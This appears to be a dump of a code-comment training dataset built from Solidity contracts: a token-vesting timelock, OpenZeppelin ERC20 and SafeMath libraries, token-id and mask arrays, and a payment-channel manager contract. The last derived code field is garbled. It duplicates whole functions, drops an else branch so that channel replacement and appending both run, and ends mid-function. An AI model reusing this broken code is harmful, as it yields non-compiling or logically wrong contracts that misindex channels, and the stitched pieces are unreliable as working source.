day,
week,
month, //inaccurate, assumes 30 day month, subject to drift
year,
quarter,//13 weeks
biannual//26 weeks
}
//The length in seconds for each epoch between payments
uint epochLength;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
uint periods;
//the size of periodic payments
uint paymentSize;
uint paymentsRemaining =0;
uint startTime =0;
uint beneficiaryBalance = 0;
function initialize(address tokenAddress, address beneficiary, uint duration, uint durationMultiple, uint p) public onlyOwner {
release();
require(paymentsRemaining == 0, 'cannot initialize during active vesting schedule');
require(duration>0 && p>0, 'epoch parameters must be positive');
_token = IERC20(tokenAddress);
_beneficiary = beneficiary;
if(duration<=uint(period.biannual)){
if(duration == uint(period.second)){
epochLength = durationMultiple * 1 seconds;
}else if(duration == uint(period.minute)){
epochLength = durationMultiple * 1 minutes;
}
else if(duration == uint(period.hour)){
epochLength = durationMultiple *1 hours;
}else if(duration == uint(period.day)){
epochLength = durationMultiple *1 days;
}
else if(duration == uint(period.week)){
epochLength = durationMultiple *1 weeks;
}else if(duration == uint(period.month)){
epochLength = durationMultiple *30 days;
}else if(duration == uint(period.year)){
epochLength = durationMultiple *52 weeks;
}else if(duration == uint(period.quarter)){
epochLength = durationMultiple *13 weeks;
}
else if(duration == uint(period.biannual)){
epochLength = 26 weeks;
}
}
else{
epochLength = duration; //custom value
}
periods = p;
emit Initialized(tokenAddress,beneficiary,epochLength,p);
}
function deposit (uint256 amount) public { //remember to ERC20.approve
// if(_token.allowance(msg.sender, address(this)) < amount)
// require(approveERC(amount), 'Go to token address page. Click Contract - Write - Approve - Paste this contract addres, any amount.');
require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed');
uint balance = _token.balanceOf(address(this));
if(paymentsRemaining==0)
{
paymentsRemaining = periods;
startTime = block.timestamp;
}
paymentSize = balance/paymentsRemaining;
emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining);
emit BoxClosed();
}
/**
* @return box status.
*/
function getStatus() public view returns (string memory) {
if (_token.balanceOf(address(this)) > 0)
return ("Box Closed");
return ("Box Open");
}
/**
* @return get time remaining.
*/
function getTimeRemaining() public view returns (uint){
uint last = startTime + epochLength;
if (block.timestamp < last)
return (last - block.timestamp);
return (0);
}
/**
* @return the get balance of the tokens.
*/
function getBalance() public view returns (uint256) {
return _token.balanceOf(address(this));
}
/**
* @return the get payment size of the tokens.
*/
function getPaymentSize() public view returns (uint256) {
uint256 nextPayment = paymentSize>getBalance()?getBalance():paymentSize;
return nextPayment;
}
function getElapsedReward() public view returns (uint,uint,uint){
if(epochLength == 0)
return (0, startTime,paymentsRemaining);
uint elapsedEpochs = (block.timestamp - startTime)/epochLength;
if(elapsedEpochs==0)
return (0, startTime,paymentsRemaining);
elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs;
uint newStartTime = block.timestamp;
uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs);
uint balance =_token.balanceOf(address(this));
uint accumulatedFunds = paymentSize.mul(elapsedEpochs);
return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining);
}
function updateBeneficiaryBalance() private {
(beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward();
}
function changeBeneficiary (address beneficiary) public onlyOwner {
require (paymentsRemaining == 0, 'TokenTimelock: cannot change beneficiary while token balance positive');
_beneficiary = beneficiary;
}
/**
* @return the beneficiary of the tokens.
*/
function getBeneficiary() public view returns (address) {
return _beneficiary;
}
function changeToken (address erc) public onlyOwner {
require (paymentsRemaining == 0, 'TokenTimelock: cannot change token while token balance positive');
_token = IERC20(erc);
}
/**
* @return the address of the tokens.
*/
function getToken() public view returns (address) {
return address(_token);
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= startTime, "TokenTimelock: current time is before release time");
updateBeneficiaryBalance();
uint amountToSend = beneficiaryBalance;
beneficiaryBalance = 0;
if(amountToSend>0)
require(_token.transfer(_beneficiary,amountToSend),'release funds failed');
uint balance =_token.balanceOf(address(this));
if (balance == 0 ) emit BoxOpened();
emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp);
}
/**
* @notice Call Action to Actual Token Contract.
*/
function approveERC(uint256 amountIn) public returns (bool){
// solhint-disable-next-line not-rely-on-time
//uint amountIn = _token.balanceOf(msg.sender) * 1000000000000000000;//_token.totalSupply() ** _token.decimals();
return (_token.approve(address(this), amountIn));
// emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp);
}
event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining);
event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods);
event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp);
event BoxOpened();
event BoxClosed();
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| beneficiary of tokens after they are released | address private _beneficiary;
| 136,781 | [
1,
70,
4009,
74,
14463,
814,
434,
2430,
1839,
2898,
854,
15976,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1758,
3238,
389,
70,
4009,
74,
14463,
814,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
import "./Token.sol";
import "./ChannelManagerLibrary.sol";
// for each token a manager will be deployed, to reduce gas usage for manager
// deployment the logic is moved into a library and this contract will work
// only as a proxy/state container.
contract ChannelManagerContract {
using ChannelManagerLibrary for ChannelManagerLibrary.Data;
ChannelManagerLibrary.Data data;
address[] all_channels;
mapping(address => address[]) node_channels;
// These two mappings keep track of the channel address position within the
// all_channels and node_channels arrays, the values are used to update the
// addresses once a new channel is opened.
mapping(address => mapping(address => uint)) node_index;
mapping(address => uint) all_channels_index;
event ChannelNew(
address netting_channel,
address participant1,
address participant2,
uint settle_timeout
);
event ChannelDeleted(
address caller_address,
address partner
);
function ChannelManagerContract(address token_address) {
data.token = Token(token_address);
}
/// @notice Get all channels
/// @return All the open channels
function getChannelsAddresses() constant returns (address[]) {
return all_channels;
}
/// @notice Get all participants of all channels
/// @return All participants in all channels
function getChannelsParticipants() constant returns (address[]) {
uint i;
uint pos;
address[] memory result;
NettingChannelContract channel;
result = new address[](all_channels.length * 2);
pos = 0;
for (i = 0; i < all_channels.length; i++) {
channel = NettingChannelContract(all_channels[i]);
var (address1, , address2, ) = channel.addressAndBalance();
result[pos] = address1;
pos += 1;
result[pos] = address2;
pos += 1;
}
return result;
}
/// @notice Get all channels that an address participates in.
/// @param node_address The address of the node
/// @return The channel's addresses that node_address participates in.
function nettingContractsByAddress(address node_address) constant returns (address[]) {
return node_channels[node_address];
}
/// @notice Get the address of the channel token
/// @return The token
function tokenAddress() constant returns (address) {
return data.token;
}
/// @notice Get the address of channel with a partner
/// @param partner The address of the partner
/// @return The address of the channel
function getChannelWith(address partner) constant returns (address) {
return data.getChannelWith(partner);
}
/// @notice Create a new channel
/// @param partner The address you want to open a channel with
/// @param settle_timeout The desired settlement timeout period
/// @return The address of the newly created channel
function newChannel(address partner, uint settle_timeout) returns (address) {
address settled_channel = getChannelWith(partner);
address[] storage caller_channels = node_channels[msg.sender];
address[] storage partner_channels = node_channels[partner];
if (settled_channel != 0) {
// Check if the channel was settled. Once a channel is
// settled it kills itself, so address must not have code.
require(!contractExists(settled_channel));
ChannelDeleted(msg.sender, partner);
}
address new_channel = data.newChannel(partner, settle_timeout);
if (settled_channel != 0) {
// if an old channel existed, replace the channel address in-place
uint channels_idx = all_channels_index[settled_channel];
uint caller_idx = node_index[msg.sender][partner];
uint partner_idx = node_index[partner][msg.sender];
all_channels[channels_idx] = new_channel;
caller_channels[caller_idx] = new_channel;
partner_channels[partner_idx] = new_channel;
} else {
// first channel opening between the participants, create a new entry
all_channels.push(new_channel);
caller_channels.push(new_channel);
partner_channels.push(new_channel);
all_channels_index[new_channel] = all_channels.length - 1;
node_index[msg.sender][partner] = caller_channels.length - 1;
node_index[partner][msg.sender] = partner_channels.length - 1;
}
ChannelNew(new_channel, msg.sender, partner, settle_timeout);
return new_channel;
}
/// @notice Check if a contract exists
/// @param channel The address to check whether a contract is deployed or not
/// @return True if a contract exists, false otherwise
function contractExists(address channel) private constant returns (bool) {
uint size;
assembly {
size := extcodesize(channel)
}
if (size > 0) {
return true;
}
return false;
}
function () { revert(); }
}
| for each token a manager will be deployed, to reduce gas usage for manager deployment the logic is moved into a library and this contract will work only as a proxy/state container. These two mappings keep track of the channel address position within the all_channels and node_channels arrays, the values are used to update the addresses once a new channel is opened. | contract ChannelManagerContract {
using ChannelManagerLibrary for ChannelManagerLibrary.Data;
ChannelManagerLibrary.Data data;
address[] all_channels;
mapping(address => address[]) node_channels;
mapping(address => mapping(address => uint)) node_index;
mapping(address => uint) all_channels_index;
event ChannelNew(
address netting_channel,
address participant1,
address participant2,
uint settle_timeout
);
event ChannelDeleted(
address caller_address,
address partner
);
function ChannelManagerContract(address token_address) {
data.token = Token(token_address);
}
function getChannelsAddresses() constant returns (address[]) {
return all_channels;
}
function getChannelsParticipants() constant returns (address[]) {
uint i;
uint pos;
address[] memory result;
NettingChannelContract channel;
result = new address[](all_channels.length * 2);
pos = 0;
for (i = 0; i < all_channels.length; i++) {
channel = NettingChannelContract(all_channels[i]);
var (address1, , address2, ) = channel.addressAndBalance();
result[pos] = address1;
pos += 1;
result[pos] = address2;
pos += 1;
}
return result;
}
function getChannelsParticipants() constant returns (address[]) {
uint i;
uint pos;
address[] memory result;
NettingChannelContract channel;
result = new address[](all_channels.length * 2);
pos = 0;
for (i = 0; i < all_channels.length; i++) {
channel = NettingChannelContract(all_channels[i]);
var (address1, , address2, ) = channel.addressAndBalance();
result[pos] = address1;
pos += 1;
result[pos] = address2;
pos += 1;
}
return result;
}
function nettingContractsByAddress(address node_address) constant returns (address[]) {
return node_channels[node_address];
}
function tokenAddress() constant returns (address) {
return data.token;
}
function getChannelWith(address partner) constant returns (address) {
return data.getChannelWith(partner);
}
function newChannel(address partner, uint settle_timeout) returns (address) {
address settled_channel = getChannelWith(partner);
address[] storage caller_channels = node_channels[msg.sender];
address[] storage partner_channels = node_channels[partner];
if (settled_channel != 0) {
require(!contractExists(settled_channel));
ChannelDeleted(msg.sender, partner);
}
address new_channel = data.newChannel(partner, settle_timeout);
if (settled_channel != 0) {
uint channels_idx = all_channels_index[settled_channel];
uint caller_idx = node_index[msg.sender][partner];
uint partner_idx = node_index[partner][msg.sender];
all_channels[channels_idx] = new_channel;
caller_channels[caller_idx] = new_channel;
partner_channels[partner_idx] = new_channel;
all_channels.push(new_channel);
caller_channels.push(new_channel);
partner_channels.push(new_channel);
all_channels_index[new_channel] = all_channels.length - 1;
node_index[msg.sender][partner] = caller_channels.length - 1;
node_index[partner][msg.sender] = partner_channels.length - 1;
}
ChannelNew(new_channel, msg.sender, partner, settle_timeout);
return new_channel;
}
function newChannel(address partner, uint settle_timeout) returns (address) {
address settled_channel = getChannelWith(partner);
address[] storage caller_channels = node_channels[msg.sender];
address[] storage partner_channels = node_channels[partner];
if (settled_channel != 0) {
require(!contractExists(settled_channel));
ChannelDeleted(msg.sender, partner);
}
address new_channel = data.newChannel(partner, settle_timeout);
if (settled_channel != 0) {
uint channels_idx = all_channels_index[settled_channel];
